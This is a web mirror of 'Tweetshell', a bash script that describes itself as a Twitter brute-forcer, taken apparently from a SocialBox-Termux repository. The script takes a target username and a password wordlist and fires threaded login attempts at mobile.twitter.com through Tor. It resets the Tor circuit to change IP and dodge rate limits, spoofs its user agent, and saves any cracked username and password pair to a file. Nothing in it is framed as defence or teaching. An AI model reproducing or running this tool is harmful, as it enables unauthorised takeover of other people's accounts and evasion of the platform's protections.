Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
samsesh
GitHub Repository: samsesh/SocialBox-Termux
Path: blob/master/tweetshell/tweetshell.sh
4988 views
1
#!/bin/bash
2
# Tweetshell v1.0
3
# Coded by: github.com/thelinuxchoice
4
# Instagram: @thelinuxchoice
5
6
trap 'store;exit 1' 2
7
8
checkroot() {
9
#if [[ "$(id -u)" -ne 0 ]]; then
10
printf "\e[1;77mWelcome to my costumzie!\n\e[0m"
11
# exit 1
12
#fi
13
}
14
15
dependencies() {
16
17
command -v tor > /dev/null 2>&1 || { echo >&2 "I require tor but it's not installed. Run ./install.sh. Aborting."; exit 1; }
18
command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed. Run ./install.sh. Aborting."; exit 1; }
19
20
}
21
22
banner() {
23
24
25
printf "\e[1;36m _ _ _____ _ \e[1;92m _ _ _ \e[0m\n"
26
printf "\e[1;36m _| || |_ |_ _| | | \e[1;92m | | | | | \e[0m\n"
27
printf "\e[1;36m |_ __ _| | |_ _____ ___| |_\e[1;92m ___| |__ ___| | | \e[0m\n"
28
printf "\e[1;36m _| || |_ | \ \ /\ / / _ \/ _ \ __\e[1;92m/ __| '_ \ / _ \ | | \e[0m\n"
29
printf "\e[1;36m |_ __ _| | |\ V V / __/ __/ |_\e[1;92m\__ \ | | | __/ | | \e[0m\n"
30
printf "\e[1;36m |_||_| \_/ \_/\_/ \___|\___|\__\e[1;92m|___/_| |_|\___|_|_| \e[0m\n"
31
printf "\n"
32
printf "\e[1;77m\e[44m Twitter BruteForcer v1.0 Author: thelinuxchoice (Github/IG)\e[0m\n"
33
printf "\n"
34
}
35
36
function start() {
37
banner
38
checkroot
39
dependencies
40
read -p $'\e[1;92mUsername account: \e[0m' username
41
42
checkaccount=$(curl -L -s https://www.twitter.com/$username/ | grep -c "Sorry, that page doesn’t exist!")
43
if [[ "$checkaccount" == 1 ]]; then
44
printf "\e[1;91mInvalid Username! Try again\e[0m\n"
45
sleep 1
46
start
47
else
48
default_wl_pass="passwords.lst"
49
read -p $'\e[1;92mPassword List (Enter to default list): \e[0m' wl_pass
50
wl_pass="${wl_pass:-${default_wl_pass}}"
51
default_threads="10"
52
read -p $'\e[1;92mThreads (Use < 20, Default 10): \e[0m' threads
53
threads="${threads:-${default_threads}}"
54
fi
55
}
56
57
checktor() {
58
59
check=$(curl -s https://check.torproject.org > /dev/null; echo $?)
60
61
if [[ "$check" -gt 0 ]]; then
62
printf "\e[1;91mPlease, check your TOR Connection! Just type tor or service tor start\n\e[0m"
63
exit 1
64
fi
65
66
}
67
68
function store() {
69
70
if [[ -n "$threads" ]]; then
71
printf "\e[1;91m [*] Waiting threads shutting down...\n\e[0m"
72
if [[ "$threads" -gt 10 ]]; then
73
sleep 6
74
else
75
sleep 3
76
fi
77
rm -rf cookies*
78
default_session="Y"
79
printf "\n\e[1;77mSave session for user\e[0m\e[1;92m %s \e[0m" $username
80
read -p $'\e[1;77m? [Y/n]: \e[0m' session
81
session="${session:-${default_session}}"
82
if [[ "$session" == "Y" || "$session" == "y" || "$session" == "yes" || "$session" == "Yes" ]]; then
83
if [[ ! -d sessions ]]; then
84
mkdir sessions
85
fi
86
printf "username=\"%s\"\npassword=\"%s\"\nwl_pass=\"%s\"\ntoken=\"%s\"\n" $username $password $wl_pass $token > sessions/store.session.$username.$(date +"%FT%H%M")
87
printf "\e[1;77mSession saved.\e[0m\n"
88
printf "\e[1;92mUse ./instashell --resume\n"
89
else
90
exit 1
91
fi
92
else
93
exit 1
94
fi
95
}
96
97
98
function changeip() {
99
100
killall -HUP tor
101
102
103
}
104
105
function bruteforcer() {
106
107
108
uagent="Mozilla/5.0 (Series40; NokiaX2-02/10.90; Profile/MIDP-2.1 Configuration/CLDC-1.1) Gecko/20100401 S40OviBrowser/1.0.2.26.11"
109
checktor
110
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
111
printf "\e[1;92mUsername:\e[0m\e[1;77m %s\e[0m\n" $username
112
printf "\e[1;92mWordlist:\e[0m\e[1;77m %s (%s)\e[0m\n" $wl_pass $count_pass
113
printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m"
114
token=0
115
startline=1
116
endline="$threads"
117
changeip
118
while [ $token -lt $count_pass ]; do
119
IFS=$'\n'
120
for password in $(sed -n ''$startline','$endline'p' $wl_pass); do
121
countpass=$(grep -n "$password" "$wl_pass" | cut -d ":" -f1)
122
123
COOKIES='cookies'$countpass''
124
125
126
let token++
127
printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $token $count_pass $password
128
129
{(trap '' SIGINT && initpage=$(curl --socks5-hostname localhost:9050 -s -b $COOKIES -c $COOKIES -L -A "$uagent" "https://mobile.twitter.com/session/new"); tokent=$(echo "$initpage" | grep "authenticity_token" | sed -e 's/.*value="//' | cut -d '"' -f 1 | head -n 1) ; var=$(curl --socks5-hostname localhost:9050 -s -b $COOKIES -c $COOKIES -L -A "$uagent" -d "authenticity_token=$tokent&session[username_or_email]=$username&session[password]=$password&remember_me=1&wfa=1&commit=Log+in" "https://mobile.twitter.com/sessions"); if [[ "$var" == *"/account/login_verification"* ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [!] Login verification required.\n" $password; printf "Username: %s, Password: %s\n" $username $password >> found.tweetshell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.tweetshell \n\e[0m"; rm -rf cookies*; kill -1 $$; elif [[ "$var" == *"/account/login_challenge"* ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [!] Login challenge required.\n" $password; printf "Username: %s, Password: %s\n" $username $password >> found.tweetshell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.tweetshell \n\e[0m"; rm -rf cookies*; kill -1 $$; elif [[ "$var" == *"/compose/tweet"* ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $password; printf "Username: %s, Password: %s\n" $username $password >> found.tweetshell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.tweetshell \n\e[0m"; rm -rf cookies*; kill -1 $$; fi; ) } & done; wait $!;
130
131
let startline+=$threads
132
let endline+=$threads
133
changeip
134
rm -rf cookies1
135
rm -rf cookies$countpass
136
done
137
exit 1
138
}
139
140
function resume() {
141
142
banner
143
checktor
144
counter=1
145
if [[ ! -d sessions ]]; then
146
printf "\e[1;91m[*] No sessions\n\e[0m"
147
exit 1
148
fi
149
printf "\e[1;92mFiles sessions:\n\e[0m"
150
for list in $(ls sessions/store.session*); do
151
IFS=$'\n'
152
source $list
153
printf "\e[1;92m%s \e[0m\e[1;77m: %s (\e[0m\e[1;92mwl:\e[0m\e[1;77m %s\e[0m\e[1;92m,\e[0m\e[1;92m lastpass:\e[0m\e[1;77m %s )\n\e[0m" "$counter" "$list" "$wl_pass" "$password"
154
let counter++
155
done
156
read -p $'\e[1;92mChoose a session number: \e[0m' fileresume
157
source $(ls sessions/store.session* | sed ''$fileresume'q;d')
158
default_threads=10
159
read -p $'\e[1;92mThreads (Use < 20, Default 10): \e[0m' threads
160
threads="${threads:-${default_threads}}"
161
162
printf "\e[1;92m[*] Resuming session for user:\e[0m \e[1;77m%s\e[0m\n" $username
163
printf "\e[1;92m[*] Wordlist: \e[0m \e[1;77m%s\e[0m\n" $wl_pass
164
printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m"
165
166
167
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
168
changeip
169
while [ $token -lt $count_pass ]; do
170
IFS=$'\n'
171
for password in $(sed -n '/\b'$password'\b/,'$(($token+threads))'p' $wl_pass); do
172
COOKIES='cookies'$countpass''
173
countpass=$(grep -n -w "$password" "$wl_pass" | cut -d ":" -f1)
174
printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $token $count_pass $password
175
let token++
176
{(trap '' SIGINT && initpage=$(curl --socks5-hostname localhost:9050 -s -b $COOKIES -c $COOKIES -L -A "$uagent" "https://mobile.twitter.com/session/new"); tokent=$(echo "$initpage" | grep "authenticity_token" | sed -e 's/.*value="//' | cut -d '"' -f 1 | head -n 1) ; var=$(curl --socks5-hostname localhost:9050 -s -b $COOKIES -c $COOKIES -L -A "$uagent" -d "authenticity_token=$tokent&session[username_or_email]=$username&session[password]=$password&remember_me=1&wfa=1&commit=Log+in" "https://mobile.twitter.com/sessions"); if [[ "$var" == *"/account/login_verification"* ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [!] Login verification required.\n" $password; printf "Username: %s, Password: %s\n" $username $password >> found.tweetshell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.tweetshell \n\e[0m"; rm -rf cookies*; kill -1 $$; elif [[ "$var" == *"/account/login_challenge"* ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [!] Login challenge required.\n" $password; printf "Username: %s, Password: %s\n" $username $password >> found.tweetshell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.tweetshell \n\e[0m"; rm -rf cookies*; kill -1 $$; elif [[ "$var" == *"/compose/tweet"* ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $password; printf "Username: %s, Password: %s\n" $username $password >> found.tweetshell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.tweetshell \n\e[0m"; rm -rf cookies*; kill -1 $$; fi; ) } & done; wait $!;
177
changeip
178
rm -rf cookies1
179
rm -rf cookies$countpass
180
done
181
exit 1
182
}
183
184
case "$1" in --resume) resume ;; *)
185
start
186
bruteforcer
187
esac
188
189
190